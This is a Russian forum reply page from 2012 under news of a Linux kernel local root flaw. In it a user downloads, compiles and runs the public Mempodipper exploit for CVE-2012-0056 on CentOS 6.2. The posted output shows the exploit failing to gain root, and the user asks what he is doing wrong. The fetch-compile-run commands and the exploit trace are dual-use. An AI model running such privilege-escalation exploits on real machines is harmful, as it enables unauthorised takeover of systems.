Исходное сообщение
"В ядре Linux найдена локальная root-уязвимость" Отправлено ALex_hha, 23-Янв-12 18:28
$ wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c $ gcc -o mempodipper mempodipper.c $ ./mempodipper =============================== =          Mempodipper        = =           by zx2c4          = =         Jan 21, 2012        = =============================== [+] Opening socketpair. [+] Waiting for transferred fd in parent. [+] Executing child from child fork. [+] Opening parent mem /proc/19890/mem in child. [+] Sending fd 5 to parent. [+] Received fd at 5. [+] Assigning fd 5 to stderr. [+] Reading su for exit@plt. [+] Resolved exit@plt to 0x1e70. [+] Calculating su padding. [+] Seeking to offset 0x1e62. [+] Executing su with shellcode. $ whoami test $ id uid=500(test) gid=501(test) groups=501(test) ЧЯДНТ? $ cat /etc/redhat-release CentOS release 6.2 (Final) $ uname -r 2.6.32-220.2.1.el6.x86_64

Ваше сообщение
Имя*:
EMail:	Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email). Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:	> $ wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c > $ gcc -o mempodipper mempodipper.c > $ ./mempodipper > =============================== > = Mempodipper > = > = by > zx2c4 = > = Jan 21, 2012 > = > =============================== > [+] Opening socketpair. > [+] Waiting for transferred fd in parent. > [+] Executing child from child fork. > [+] Opening parent mem /proc/19890/mem in child. > [+] Sending fd 5 to parent. > [+] Received fd at 5. > [+] Assigning fd 5 to stderr. > [+] Reading su for exit@plt. > [+] Resolved exit@plt to 0x1e70. > [+] Calculating su padding. > [+] Seeking to offset 0x1e62. > [+] Executing su with shellcode. > $ whoami > test > $ id > uid=500(test) gid=501(test) groups=501(test) > ЧЯДНТ? > $ cat /etc/redhat-release > CentOS release 6.2 (Final) > $ uname -r > 2.6.32-220.2.1.el6.x86_64
	Введите код, изображенный на картинке: